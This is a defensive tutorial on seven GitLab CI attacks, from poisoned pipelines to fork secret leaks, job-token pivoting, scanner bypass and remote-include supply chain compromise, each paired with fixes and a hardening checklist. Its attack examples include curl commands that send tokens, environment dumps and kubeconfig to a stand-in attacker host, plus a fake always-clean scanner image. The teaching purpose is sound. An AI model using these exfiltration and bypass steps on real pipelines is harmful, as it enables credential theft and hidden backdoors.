Your GitLab CI pipelines probably contain flaws that can be exploited without any direct access to your infrastructure. This is not theory: these vectors are documented by OWASP (CICD-SEC-04), exploited in production, and often enabled by default. This guide details 7 concrete attacks, each told from the attacker's point of view, then fixed step by step.
What you will learn
By the end of this guide, you will be able to:
- Identify the 7 attack patterns specific to GitLab CI pipelines
- Understand Poisoned Pipeline Execution (direct and indirect)
- Protect your secrets against leaks via forks and unprotected branches
- Restrict the
CI_JOB_TOKENto block lateral movement - Detect the bypass of security scanners
- Audit your pipelines with poutine (BoostSecurity)
Prerequisites
This lesson assumes that you can read a .gitlab-ci.yml, that you have
already defined a CI/CD variable and that you know what a runner is.
The seven scenarios can be read with a plain Developer role, but the
API checks need more: a token with the api scope and a Maintainer role on
the project (with a Developer role, the variables endpoint answers 403 Forbidden).
Three actions need specific rights. The setting that forbids running a fork's
pipeline in the parent requires the Maintainer role or an administrator.
Auditing the CI_JOB_TOKEN allowlist requires Maintainer or Owner.
Checking a runner's config.toml goes through access to the machine that
hosts it, hence the administrator. As for tools, you need curl and jq;
poutine only comes in at the end. Upstream lessons:
- Variables and secrets: protected and masked variables, precedence
- Runners: shared, group and project runners
- Rules conditions: restricting a job to the default branch
- Security scanners: the SAST and Secret Detection templates of attack 6
- Templates and include: the includes of attack 7
Why is GitLab CI a target?
To understand the attacks, you first need to understand what makes GitLab CI vulnerable by design:
- The
.gitlab-ci.ymllives in the repository: anyone with commit rights can change the pipeline logic. ADeveloperrole is enough to modify the CI on an unprotected branch. - A member of the parent project can manually run a fork Merge Request's
pipeline: it then runs in the parent, with the fork's
.gitlab-ci.ymland the parent's variables. By default, this is allowed. - Unprotected CI/CD variables are injected everywhere: including into
a fork MR's pipeline run in the parent. If your
DEPLOY_TOKENis not marked "Protected", an outside attacker can then reach it. - The
CI_JOB_TOKENcan be too permissive: if a project's allowlist is open to other projects, their jobs can call it with their job token. - Variables in the
.gitlab-ci.ymloverride the templates' default values: a developer can redefineSECURE_ANALYZERS_PREFIXto silently bypass the security scanners, as long as no interface variable (project, group or instance) with the same name takes precedence.
OWASP groups these vectors under the name Poisoned Pipeline Execution (PPE), in its top 10 CI/CD risks.
Attack 1: Direct PPE, the attacker modifies the .gitlab-ci.yml
Direct PPE is the simplest form of Poisoned Pipeline Execution: the attacker writes the commands that the runner will execute. It requires write access to the repository, so an internal collaborator or a compromised account. It is also very profitable for the attacker, since the job retrieves the project's CI/CD variables without any review having taken place.
The problem
In GitLab, any user with the Developer role can create a branch and push
code to it. If the branch is not protected, the pipeline runs automatically
with the .gitlab-ci.yml modified by the developer. No review is required.
Here is a typical pipeline where the deploy job uses a secret:
stages: - test - deploy
test: stage: test script: - npm install - npm test
deploy: stage: deploy script: - echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin - docker push registry.example.com/app:$CI_COMMIT_SHAThe DEPLOY_TOKEN is stored in Settings > CI/CD > Variables, but without
the "Protected" box checked. Result: it is injected into all pipelines, on
all branches.
The attack
A malicious developer (or a compromised account) proceeds as follows:
- They create a branch
feature/update-testsin the project - They modify the
.gitlab-ci.ymlon that branch to exfiltrate the secrets:
test: stage: test script: # The real test passes normally: nothing suspicious in the logs - npm test # The exfiltration takes a single line, silently - curl -s https://attacker.example.com/collect -d "token=$DEPLOY_TOKEN" -d "ci_token=$CI_JOB_TOKEN" -d "project=$CI_PROJECT_PATH"- They push the commit, the pipeline starts automatically
- The runner executes the
testjob with the real CI/CD variables - The
DEPLOY_TOKENand theCI_JOB_TOKENare sent to the attacker's server - The attacker can now push images to your Docker registry
Why it works: the pipeline runs the .gitlab-ci.yml as it exists in the
branch, not in main. And unprotected variables are injected into all
pipelines, even on unprotected branches.
The fix
Two independent settings are enough to break this scenario: make the secrets unreachable outside protected branches, then prevent the deployment jobs from starting anywhere but on the default branch. The third point deals with a related risk, npm install scripts, which run before the first line of your pipeline even executes.
-
Mark all sensitive variables as "Protected"
In Settings > CI/CD > Variables, check Protected for each secret. Protected variables are only injected into pipelines that run on protected branches or tags. A pipeline on
feature/update-testswill no longer have access to them. -
Restrict sensitive jobs to protected branches
.gitlab-ci.yml: FIXED deploy:stage: deployscript:- echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin- docker push registry.example.com/app:$CI_COMMIT_SHArules:# This job only runs on main (protected branch)- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHenvironment:name: production -
Block uncontrolled npm scripts
Fixed test job test:stage: testscript:# --ignore-scripts prevents malicious preinstall/postinstall scripts- npm install --ignore-scripts- npm testrules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
How do you check your project?
The GitLab API returns the exact state of each variable, which the web
interface only shows setting by setting. The $GITLAB_API_TOKEN token must
carry the api scope and a Maintainer role on the project: with a
Developer role, this endpoint answers 403 Forbidden.
# List all CI/CD variables and their "protected" status# If "protected: false" appears for a secret → fix it immediatelycurl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \ "https://gitlab.example.com/api/v4/projects/$PROJECT_ID/variables" \ | jq '.[] | {key, protected, masked}'Attack 2: Indirect PPE, poisoning a script called by the pipeline
Indirect PPE targets teams that have already locked down their pipeline
file. The attacker no longer touches the .gitlab-ci.yml: they modify a
file called by the pipeline, which is protected by nothing. The result is
the same, the hostile code runs on the runner with the same rights, but the
change goes unnoticed in a seemingly banal Merge Request.
The problem
Suppose your team has locked down the .gitlab-ci.yml: it is on a protected
branch, and a CODEOWNERS file requires the security-team's approval on
any change. This file names the owners of each path; their approval is only
enforced on a protected branch and in the Premium and Ultimate editions,
not in CE (Community Edition, the free edition). The fix below gives the CE
option.
The problem: the pipeline calls scripts stored in the repository, and these scripts are not protected.
test: stage: test script: - bash scripts/run-tests.shThe scripts/run-tests.sh file contains the usual test commands. But unlike
the .gitlab-ci.yml, any developer can modify it in a Merge Request.
The attack
Indirect PPE exploits the separation between the pipeline file (protected) and the scripts it calls (unprotected):
- The attacker opens a legitimate Merge Request (e.g. "Improve the tests")
- In this MR, they modify
scripts/run-tests.sh:
#!/bin/bashecho "=== Running tests ==="
# These 2 lines are added by the attacker, buried among 50 lines of testscurl -s https://attacker.example.com/collect \ -d "token=$CI_JOB_TOKEN" \ -d "vars=$(env | base64)"
# The real tests pass normally: the CI is greennpm test- The MR pipeline runs automatically
- GitLab runs
bash scripts/run-tests.shwith the MR's modified content - The environment variables (including
CI_JOB_TOKEN) are exfiltrated - The CI shows "Pipeline passed", nobody notices anything
Why it works: the MR pipeline runs the files as they exist in the MR's
source branch, not in main. Protecting the .gitlab-ci.yml is not enough if
the scripts it calls can be modified.
The fix
Protecting the .gitlab-ci.yml is useless as long as the files it executes
remain freely modifiable. The fix therefore extends protection to these files
through CODEOWNERS (Premium and Ultimate: step 1 says what to do in CE),
then makes the merge conditional on a successful pipeline and limits MR
pipelines' access to protected resources, and finally removes the secrets from
the scope of MR pipelines.
-
Protect critical scripts with CODEOWNERS
CODEOWNERS # Any file executed by the CI requires the security-team's approvalscripts/ @security-team.gitlab-ci.yml @security-teamMakefile @security-teamDockerfile @security-teamIn Settings > Repository > Protected branches, enable "Require code owner approval" for the
mainbranch. This option belongs to the Premium and Ultimate editions: in CE, the CODEOWNERS file enforces no approval.What to do in CE? Protection then rests on step 3 and on the fix for attack 1: secrets stay out of reach of a working branch (Protected variables, deploy jobs restricted to the default branch), so a modified script finds nothing to exfiltrate. Reviewing scripts before merge becomes a team rule, not a block set by the file.
-
Lock the merge and limit access to protected resources
In Settings > Merge requests, "Merge checks" section, select "Pipelines must succeed": the MR cannot be merged until a merge request pipeline has succeeded. This setting holds back the merge, not the start of the pipeline, which runs as soon as the MR is opened. The GitLab documentation describes no setting that delays that start until an approval (not measured on an instance): if a job must wait for a human decision, declare it
when: manual.Since GitLab 18.1, the "Allow merge request pipelines to access protected variables and runners" checkbox, under Settings > CI/CD > Variables, governs MR pipelines' access to protected variables and runners. They get access only if the source and target branches are both protected, the user triggering the pipeline can push or merge to the target, and both branches are in the same project. Exfiltration is therefore prevented mainly by step 3 and by the Protected variables of attack 1, not by a block before execution.
-
Separate MR pipelines from protected-branch pipelines
.gitlab-ci.yml: FIXED # The MR pipeline runs the tests WITHOUT access to secretstest:stage: testscript:- npm testrules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"# The deploy only happens on main, after the mergedeploy:stage: deployscript:- bash scripts/deploy.shrules:- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
Attack 3: Secret leaks via fork Merge Requests
This third attack changes category: it requires no rights on the targeted project. A fork, that is a personal copy of the repository that any account can create, is enough to run code on the parent project's runners, as soon as a pipeline is run there. This vector mostly targets open source projects, where external contributions are the norm.
The problem
GitLab says so explicitly in its documentation:
"Fork merge requests can contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge."
First you need to know where a fork MR's pipeline runs. By default, it is
created and runs in the fork, with the fork's configuration, resources and
variables. The parent project shows it with a "fork" badge but does not run it
itself, so the parent's secrets are not exposed. The fork's .gitlab-ci.yml,
which the attacker fully controls, only runs in the parent if someone sends it
there.
The attack
Unlike attacks 1 and 2, this one requires no access to the target project. The attacker only needs a GitLab account, then a maintainer or an automation that runs the pipeline in the parent:
- The attacker forks a public project (or an internal project they can access)
- In their fork, they modify the
.gitlab-ci.ymlto exfiltrate the secrets:
exfiltrate: stage: test script: # Send all the environment variables to the attacker's server - env | grep -iE "token|key|secret|password" | curl -s -X POST https://attacker.example.com/collect -d @-- The attacker opens an MR from their fork to the parent project
- The MR's pipeline runs in the fork: it only finds the fork's variables, nothing from the parent
- The pipeline is re-run in the parent, with the fork's
.gitlab-ci.yml, by a maintainer who did not review the code, or by a trigger through the API or/rebase - The parent project's unprotected CI/CD variables are injected, and the
attacker retrieves
DEPLOY_TOKEN,AWS_SECRET_ACCESS_KEY, etc.
Why it works: a member of the parent can manually run a pipeline for the
MR from the Pipelines tab (the GitLab documentation titles this section "Run
pipelines in the parent project"). The pipeline then runs in the parent, with
its runners and variables, but with the fork's .gitlab-ci.yml. In the
interface, GitLab shows a warning that the maintainer has to accept. That
warning does not appear when the pipeline is started through the API or the
/rebase command: that is where the real risk lies, since nothing reminds
anyone to review the code first.
GitLab's protections (to enable manually)
GitLab does provide the necessary safeguards, but not all of them are active at installation. The table gives the location of each setting and its default state. The setting for running in the parent has no checkbox in the interface: it is an attribute of the projects API.
| Protection | Where to enable it | Default |
|---|---|---|
| Variables marked "Protected" | Settings > CI/CD > Variables | Not checked |
| Forbid running in the parent | ci_allow_fork_pipelines_to_run_in_parent_project attribute of the projects API (Maintainer role or admin) | true: running is allowed |
The fix
The three measures add up and cover different perimeters: the first makes the
secrets unreachable, the second removes the possibility of running a
fork's pipeline in the parent, the third lives in the .gitlab-ci.yml and is
only a convenience guard: it does not stand up to the attacker, as its own
note explains.
-
Mark every sensitive variable as "Protected"
Protected variables = provided only to pipelines of protected branches/tags. Result: secrets marked this way are no longer provided to a pipeline run on a fork MR.
-
Forbid running a fork's pipeline in the parent
Set
ci_allow_fork_pipelines_to_run_in_parent_projecttofalsethrough the projects API (see the command below). No interface checkbox does it. As long as the setting staystrue, review the fork's code before any run in the parent, and beware of/rebaseand the API, which do not show the warning. -
Detect forks in the pipeline itself
.gitlab-ci.yml: anti-fork guard deploy:stage: deployscript:- bash scripts/deploy.shrules:# If the MR comes from a different project (fork), do not run- if: $CI_MERGE_REQUEST_SOURCE_PROJECT_ID != $CI_PROJECT_IDwhen: never- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHThe
$CI_MERGE_REQUEST_SOURCE_PROJECT_IDvariable contains the ID of the MR's source project. If it differs from$CI_PROJECT_ID, it is a fork.This guard does not stop an attacker. When a fork MR's pipeline is run in the parent, GitLab uses the CI/CD configuration present in the fork's branch ("Merge request pipelines" documentation), that is, the
.gitlab-ci.ymlthe attacker writes themselves. They only have to remove the rule. It only guards against an honest mistake, for example a well-meaning contributor whose fork inherited the file. Measures 1 and 2, which live in the parent project's settings and not in the fork's YAML, are the only ones that count against a hostile fork.
How do you check your project?
The call targets the parent project, not the fork: it is the configuration of the repository receiving the Merge Request that decides whether a fork's pipeline can be run there and with which variables. Repeat the check on every project that accepts external contributions.
# Read the setting (true = running in the parent is allowed)curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \ "https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \ | jq '.ci_allow_fork_pipelines_to_run_in_parent_project'
# Turn it off (Maintainer role or admin)curl --request PUT --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \ --data "ci_allow_fork_pipelines_to_run_in_parent_project=false" \ "https://gitlab.example.com/api/v4/projects/$PROJECT_ID"If the first command returns true, running manually in the parent remains
possible: it is up to you to keep it behind a systematic review or to cut it
off.
Attack 4: Shared runners, spying on neighboring containers
The first three attacks targeted the content of a repository. This one targets the execution infrastructure: a shared runner is a machine made available to all the projects of the instance, and the jobs running on it at the same time can see each other. The attacker needs no rights on their victims, only a project of their own on the same instance.
The problem
GitLab shared runners (instance-level) are accessible by all projects of
the instance. When a runner runs jobs in containers in privileged: true
mode (required for docker-in-docker, or dind: a Docker daemon of its
own for each job, started in a service container), a job's container is no longer isolated from
the host: an attacker who is root in it can break out, then read the
environment of the other projects' containers.
Two mechanisms look alike and must not be confused. With
services: docker:dind, the GitLab documentation states that "each job gets
its own isolated Docker daemon": two dind jobs therefore do not share a
daemon. The daemon is shared only if the runner mounts the host's socket
(/var/run/docker.sock), which is a different configuration and a different
risk.
This attack was documented by Pulse Security in their "OMGCICD" research on self-hosted GitLab instances. Their attack path goes through a privileged job container, from which they mounted a host block device to get root access to the machine.
The attack
The attacker only needs an account on the GitLab instance. They need no access to the target projects:
- The attacker creates a personal project on the GitLab instance
- They add this
.gitlab-ci.yml, which assumes a runner that mounts the host's Docker socket into jobs (without it,docker pswould only talk to the job's own dind service, which holds no neighbouring container):
attack: image: docker:29.6.2@sha256:bfec1f5159c63a81ca6fdedbd81404d2c0e16378ed0feec3bb3fbf3998847659 # No dind service: the job uses the host socket mounted by the runner script: # Step 1: list all the active containers on the runner # (including those of other projects running in parallel) - docker ps -a
# Step 2: extract the environment variables of each container - | for container in $(docker ps -q); do echo "=== Container $container ===" docker inspect "$container" --format '{{.Config.Env}}' 2>/dev/null done
# Step 3: exfiltrate the secrets found - docker inspect $(docker ps -q) --format '{{.Config.Env}}' | curl -s -X POST https://attacker.example.com/collect -d @-- The pipeline runs on a shared runner whose host Docker socket is mounted into jobs
- The host's Docker daemon is shared between all the runner's containers
- The attacker sees the containers of the
infra/production,backend/apiprojects, etc. running in parallel - They retrieve the environment variables:
PRIVATE_KEY,DATABASE_URL,AWS_SECRET_ACCESS_KEY
Why it works: the /var/run/docker.sock socket is the API of the host's
daemon. Whoever can call it can list, inspect and run commands in every
container, those of other projects included. The GitLab documentation warns
that this sharing exposes your host to privilege escalation (paraphrase of the
"Use Docker to build Docker images" page).
Pulse Security retrieved PRIVATE_KEY, SERVER_NAME and TRIGGER_PAYLOAD
values from other projects, but through a neighbouring route: from a
privileged container they mounted the host disk, obtained root access, then
read the neighbouring containers' environment with docker ps and
docker exec on the host. The result is the same (other projects' secrets),
the prerequisite differs: a privileged runner is enough, no mounted socket
needed.
The fix
This fix is made on the runner side, in a file that a developer cannot access: it is the instance administrator's job. The next two measures give control back to the project teams, by moving sensitive jobs out of the shared pool.
-
Forbid
privilegedmode on shared runnersconfig.toml: GitLab Runner [[runners]]name = "shared-runner"[runners.docker]# Never privileged on a shared runnerprivileged = false# No Docker socket mountvolumes = ["/cache"]# Also blocks privilege escalationcap_drop = ["ALL"]Without
privilegedand without a mounted socket, the job has no access to the host's daemon, anddocker psfails for lack of a reachable daemon. A job that must build an image then uses a daemonless tool (kaniko, Buildah), compared in the Registries lesson. -
Disable shared runners on sensitive projects
Settings > CI/CD > Runners → uncheck "Enable shared runners for this project". Configure dedicated runners (group-level or project-level) with tags:
.gitlab-ci.yml: force a dedicated runner deploy:stage: deploytags:# This job only runs on a runner with this tag- production-runnerscript:- bash scripts/deploy.sh -
Use ephemeral runners
With the GitLab Runner autoscaler (on Kubernetes or cloud instances), each job starts in a fresh VM or pod, destroyed after execution. No residual data, no neighboring container.
How do you check your runners?
The privileged mode appears nowhere in GitLab's web interface: it lives only
in the config.toml of the machine that hosts the runner. The check is
therefore done server by server, on each host of the fleet.
# Check whether privileged is enabled or the Docker socket mounted on your runnersgrep -nE "privileged|docker.sock" /etc/gitlab-runner/config.toml# If "privileged = true" or a docker.sock volume on a shared runner# → fix it immediatelyAttack 5: CI_JOB_TOKEN, pivoting to other projects
This attack comes after one of the previous ones: it turns the compromise of one pipeline into the compromise of the entire organization. The established term is lateral movement, meaning bouncing from a system you already hold to another one. Here the bounce is made easier by a token that GitLab places in every job without being asked.
The problem
GitLab automatically injects a CI_JOB_TOKEN into every job. This token lets
the pipeline interact with the GitLab API: clone other repositories, download
artifacts, trigger pipelines in other projects, access the container registry.
A project decides which other projects may call it with their job token through its allowlist (Settings > CI/CD > Job token permissions). By default it contains only the project itself, but on a self-managed instance the "All groups and projects" option can open it: a compromised job's token then reaches all the projects that the pipeline owner has access to.
The attack
The attacker compromised a pipeline through attack 1 or 2. They have access to
a job's CI_JOB_TOKEN. Here is what they can do with it:
- Reconnoiter the accessible projects:
# List all the projects accessible with the CI_JOB_TOKENcurl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "https://gitlab.example.com/api/v4/projects?membership=true&per_page=100" \ | jq '.[].path_with_namespace'Result:
"my-org/frontend""my-org/backend-api""my-org/infra-terraform""my-org/secrets-vault" ← jackpot- Clone a sensitive project:
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/my-org/secrets-vault.gitcat secrets-vault/production.env# AWS_ACCESS_KEY_ID=AKIA...# AWS_SECRET_ACCESS_KEY=...# DATABASE_URL=postgres://admin:password@prod-db:5432/app- Trigger a pipeline in another project:
curl --request POST \ --form "token=$CI_JOB_TOKEN" \ --form "ref=main" \ --form "variables[TF_VAR_admin_ip]=attacker.example.com" \ "https://gitlab.example.com/api/v4/projects/42/trigger/pipeline"Why it works: the CI_JOB_TOKEN inherits the permissions of the user
who triggered the pipeline. If that user has access to 50 projects, so does the
token, as long as the allowlist of each targeted project accepts it ("All
groups and projects" option, or project listed). This is automatic lateral
movement.
The fix
The CI_JOB_TOKEN cannot be disabled: GitLab injects it into every job, with
no setting to remove it. The only room for maneuver is to reduce its
scope to the explicit list of projects that need it, then to stop using it
for cross-project access in favor of dedicated tokens.
-
Restrict the scope of the CI_JOB_TOKEN
In each project that other jobs might read: Settings > CI/CD > Job token permissions, CI/CD job token allowlist section. The list is kept on the side of the project being accessed: it says which projects or groups may call it with their job token. Keep the "This project and any groups and projects in the allowlist" option (not "All groups and projects"), then add only the projects that need access.
For example, if the
frontendproject needs to download artifacts from theshared-libsproject, add onlyfrontendto the allowlist ofshared-libs. -
Replace the CI_JOB_TOKEN with dedicated tokens
.gitlab-ci.yml: FIXED deploy:stage: deployscript:# Dedicated token with read-only permissions on the charts registry# Stored as a protected + masked CI variable- git clone https://deploy-token:$CHARTS_READ_TOKEN@gitlab.example.com/infra/helm-charts.gitrules:- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHProject Access Tokens or Deploy Tokens offer a granular scope (read_repository, read_registry) instead of the global access of the CI_JOB_TOKEN.
-
Audit existing access
Terminal window # For each project: is the job token allowlist active?curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/job_token_scope" \| jq '.inbound_enabled'# If false → the project accepts the job token of any projectThis endpoint (Maintainer or Owner role) is the one GitLab documents for the allowlist. A
trueresult can come from the instance-wide "Enforce job token allowlist" setting rather than from the project.
Attack 6: Bypassing the security scanners
The five previous attacks stole something. This one steals nothing: it neutralizes detection to let malicious code through. The security report shown in the Merge Request stays green, and that is precisely what makes it effective, since reviewers rely on this report to approve.
The problem
GitLab's security templates (SAST, DAST, Secret Detection, Dependency
Scanning) download their Docker images from a registry defined by the
SECURE_ANALYZERS_PREFIX variable. This variable can be redefined in the
project's .gitlab-ci.yml.
A developer can therefore replace the official scanners with images they control.
The attack
The attacker wants to merge code containing a backdoor without the scanners detecting it:
- They create a Docker image that imitates the official scanner but always returns "no vulnerability":
FROM alpine:3.21@sha256:48b0309ca019d89d40f670aa1bc06e426dc0931948452e8491e3d65087abc07d# The fake scanner does nothing and returns an empty reportENTRYPOINT ["sh", "-c", "echo '{\"vulnerabilities\":[]}' > gl-sast-report.json"]-
They publish this image on a registry they control:
attacker-registry.example.com/malicious/sast -
They modify the
.gitlab-ci.ymlin a branch (or an MR):
variables: # The security scanners now download the attacker's images SECURE_ANALYZERS_PREFIX: "attacker-registry.example.com/malicious"
include: - template: Security/SAST.gitlab-ci.yml - template: Security/Secret-Detection.gitlab-ci.yml- The pipeline includes the official templates, but the jobs download the images from the attacker's registry
- The scanners return "0 vulnerabilities", the merge request shows a clean security report
- The branch is merged with the backdoor that the real scanners would have detected
Why it works: variables defined in the .gitlab-ci.yml take precedence
over the templates' default values. GitLab shows no warning when
SECURE_ANALYZERS_PREFIX is redefined. The security report in the MR shows the
fake scanner's results as if they were legitimate.
The fix
The three measures pursue the same goal: the value of
SECURE_ANALYZERS_PREFIX must come from a place that the author of a Merge
Request cannot modify. The first requires an Ultimate license, the other
two work in Free and Premium, the second with the limit its text
details.
-
Use Scan Execution Policies (GitLab Ultimate)
Scan Execution Policies run the scanners in a separate pipeline that developers cannot modify. The
SECURE_ANALYZERS_PREFIXvariable is defined in the policy, not in the project.This is the most robust solution, but it requires GitLab Ultimate.
-
Detect overrides in a
.prejobFor the Free and Premium editions, add a guard job:
.gitlab-ci.yml: detection job check-analyzer-prefix:stage: .prescript:- |EXPECTED="registry.gitlab.com/security-products"if [ "$SECURE_ANALYZERS_PREFIX" != "$EXPECTED" ]; thenecho "ALERT: SECURE_ANALYZERS_PREFIX has been modified!"echo " Expected: $EXPECTED"echo " Found: $SECURE_ANALYZERS_PREFIX"echo "A developer is trying to bypass the security scanners."exit 1firules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHThis job runs before all the others (
.prestage). If someone redefinesSECURE_ANALYZERS_PREFIX, the pipeline fails immediately.Limit: this job lives in the file the attacker can modify. The Merge Request runs the
.gitlab-ci.ymlof its own branch (the fork's for a fork MR): an author who redefines the variable can also delete the guard job or weaken its condition. It catches a mistake or a change reviewed too quickly, not a deliberate bypass. Only Scan Execution Policies, interface variables and review of.gitlab-ci.ymlchanges hold against a hostile author. -
Lock the variable at the group level
Define
SECURE_ANALYZERS_PREFIXas a group variable with the official value. A variable defined in the interface (group or project) takes precedence over a.gitlab-ci.ymlvariable: the MR author's redefinition in the file is therefore ignored. Careful: precedence goes from project to group, not the other way round. A project variable of the same name overrides the group one, and a variable supplied when the pipeline is started (form, API, schedule) overrides both. This fix therefore only holds if the project's Maintainers are trusted and this name is never redefined as a project variable.
Attack 7: Supply chain via include:remote
The last attack no longer targets a project but a shared dependency. A shared CI template is a single point of compromise whose blast radius equals the number of projects that include it. This is the very definition of a software supply chain attack: compromise a supplier to reach all its consumers.
The problem
GitLab lets you include CI templates from an external URL. It is convenient for sharing templates between organizations, but it is also a supply chain vector: if the server hosting the template is compromised, every project that includes it will run malicious code.
The attack
Imagine that 200 projects of your organization include a shared deployment template:
include: - remote: 'https://templates.example.com/ci/deploy.yml'The attacker only needs to compromise a single server:
- The attacker compromises
templates.example.com(web exploit, stolen credentials, DNS hijacking) - They replace
deploy.ymlwith a modified version:
deploy: stage: deploy script: # The original deployment works normally - kubectl apply -f k8s/ # The exfiltration is added discreetly - | curl -s https://attacker.example.com/collect \ -d "kubeconfig=$(cat ~/.kube/config | base64)" \ -d "project=$CI_PROJECT_PATH" \ -d "token=$CI_JOB_TOKEN"- The next pipeline of each of the 200 projects downloads the modified version
- The attacker retrieves the production kubeconfig files of 200 projects
Why it works: include: remote downloads the file at every pipeline
run, with no integrity check. There is no hash, no signature, no versioning.
It is the GitLab equivalent of GitHub actions not pinned by SHA.
The fix
The remedy comes down to one word: version. An include must designate an
immutable reference, hosted on infrastructure that your organization controls.
The two forms below are safer replacements for remote:, the second requiring
GitLab 17 or later.
include: # Option 1: include from an internal GitLab project, pinned to the full # commit SHA (40 characters), the version in a comment - project: 'my-org/ci-templates' ref: 'a1b2c3d4e5f60718293a4b5c6d7e8f9012345678' # v2.1.0 file: '/templates/deploy.yml'
# Option 2: CI/CD Catalog (GitLab 17+), release version - component: gitlab.example.com/my-org/ci-components/deploy@1.0.0The ref of the first include is a commit SHA rather than the v2.1.0
tag: a SHA is the fingerprint of the content, it cannot point to anything
else. A tag is a name that can be moved: git tag -f followed by a forced
push makes it point to another commit, without your ref changing by a single
character. GitLab's protected tags "prevent accidental update or deletion
once created" according to the documentation: that is a safeguard against
accidents, not a promise against an attacker who holds the rights. On a page
about pipeline attacks, only the SHA is defensible.
Form of ref | Can it change? |
|---|---|
| Full 40-character SHA | No |
| Protected tag | No, under conditions |
| Unprotected tag | Yes |
| Branch | Yes |
ref omitted | Yes, it is the HEAD |
Rules:
- Always pin to the full commit SHA, never to
main, a branch or an unprotected tag - Prefer
project:toremote::project:includes point to an internal, versioned Git repository with access control - Use the CI/CD Catalog (GitLab 17+) for validated components with semantic versioning, it is the equivalent of the GitHub Actions Marketplace, hosted on your instance. A component version can also be a commit SHA, which GitLab's component security documentation gives as the preferred choice over a version tag
Hardening checklist
This checklist condenses the seven attacks into ten verifiable checks. The
first four are set in the GitLab interface or its API, the next six are checked on the
command line, on the repository or on the runner. Start with item 1: marking
variables as Protected closes the secret leak of attacks 1 and 3 on its
own, for the cost of a few clicks. It does not cover the CI_JOB_TOKEN, which
item 3 handles.
| # | Check | How to verify |
|---|---|---|
| 1 | Sensitive variables marked "Protected" | Settings > CI/CD > Variables → check "Protected" |
| 2 | Running fork pipelines in the parent disabled (ci_allow_fork_pipelines_to_run_in_parent_project set to false) | Projects API (GET /projects/:id) |
| 3 | CI_JOB_TOKEN allowlist limited to the projects that need it | Settings > CI/CD > Job token permissions, CI/CD job token allowlist section |
| 4 | Shared runners disabled on sensitive projects | Settings > CI/CD > Runners |
| 5 | Neither privileged: true nor a mounted Docker socket on shared runners | `grep -E "privileged |
| 6 | SECURE_ANALYZERS_PREFIX not redefinable by an MR author | Scan Execution Policies, or a group variable with no project variable of the same name |
| 7 | No include: remote: without versioning | grep -r "remote:" .gitlab-ci.yml |
| 8 | CODEOWNERS on .gitlab-ci.yml, scripts/, Makefile (approval only enforced on a protected branch and in the Premium and Ultimate editions, not in CE) | CODEOWNERS file in the repository, then "Require code owner approval" on the protected branch; in CE, see "What to do in CE?" under attack 2 |
| 9 | npm install --ignore-scripts in test jobs | .gitlab-ci.yml |
| 10 | Regular scan with poutine | poutine analyze_local . -s gitlab |
Auditing with poutine
poutine (BoostSecurity) supports the analysis of GitLab CI pipelines. It detects injection patterns, unpinned includes, and unverified code execution:
# Scan a local repositorypoutine analyze_local . -s gitlab
# Scan a remote GitLab projectpoutine analyze_repo -s gitlab \ --token "$GITLAB_TOKEN" \ gitlab.example.com/my-org/my-project
# Scan an entire organizationpoutine analyze_org -s gitlab \ --token "$GITLAB_TOKEN" \ gitlab.example.com/my-orgKey takeaways
GitLab CI pipelines are vulnerable to the same families of attacks as GitHub
Actions, but with specific vectors: the .gitlab-ci.yml in the repository,
variables that are unprotected by default, the overly permissive
CI_JOB_TOKEN.
The 7 defense principles:
- Protect the variables: mark every secret as "Protected" so that it is only accessible on protected branches. It is the first step, and the simplest to set up.
- Isolate fork pipelines: never run a fork MR's pipeline in the parent without a review. Disable the setting through the API.
- Restrict the
CI_JOB_TOKEN: limit each project's allowlist to the only projects that need it to block lateral movement. Check older projects one by one. - Separate the runners: shared runners must never run sensitive
workloads, run in
privilegedmode or mount the host's Docker socket. Use dedicated runners with tags. - Version the includes: every external template must be pinned to
the full commit SHA, never to
main, an unprotected tag or an uncontrolled URL. - Protect every file the CI executes: the
.gitlab-ci.ymlis not enough, the scripts it calls matter too. ACODEOWNERSnames their owners, but their approval is only enforced on a protected branch and in the Premium and Ultimate editions, not in CE, where the file alone enforces nothing. In CE, keep secrets out of MR pipelines (Protected variables, jobs restricted to the default branch) and make reviewing these files a team rule. - Take the scanners' configuration out of the repository: the value of
SECURE_ANALYZERS_PREFIXmust come from a place the MR author cannot modify (Scan Execution Policies, or a group variable with no project variable of the same name).
Sources
- OWASP Top 10 CI/CD Security Risks, CICD-SEC-04: Poisoned Pipeline Execution, OWASP
- OMGCICD, Attacking GitLab CI/CD via Shared Runners, Pulse Security
- Defensive Research, Weaponized: 2025 State of Pipeline Security, BoostSecurity
- Merge request pipelines, Fork merge requests, GitLab Docs
- CI/CD job token, Token scope, GitLab Docs
- The Red Hat Consulting GitLab Breach, GitGuardian
- GitLab Threat Landscape 2024, CVE-2024-5655, CVE-2024-6385, GitProtect.io
Test your knowledge
Ten questions drawn from the seven attacks described here, with a pass mark set at 70%. A failed question points to the attack to reread.
Knowledge check
Check what you have learned with this interactive quiz
How it works
- The timer starts when you click Start
- Multiple choice, true/false and short answer questions
- You can move between questions
- Detailed results are shown at the end
Starts the quiz and the timer
Review
(0/0)Score by domain
A domain groups several guides and gets several questions, so its score is more reliable than a per-topic score, which often rests on a single question.
Summary
Strengths
No topic passed at 80% on at least two questions yet.
Weak areas
No topic below the pass mark.
Recommended next
Hints before you try again?
Continue the course: GitLab CI: harden your pipelines in 10 measures
A new full quiz with random questions
Work again only on the questions you missed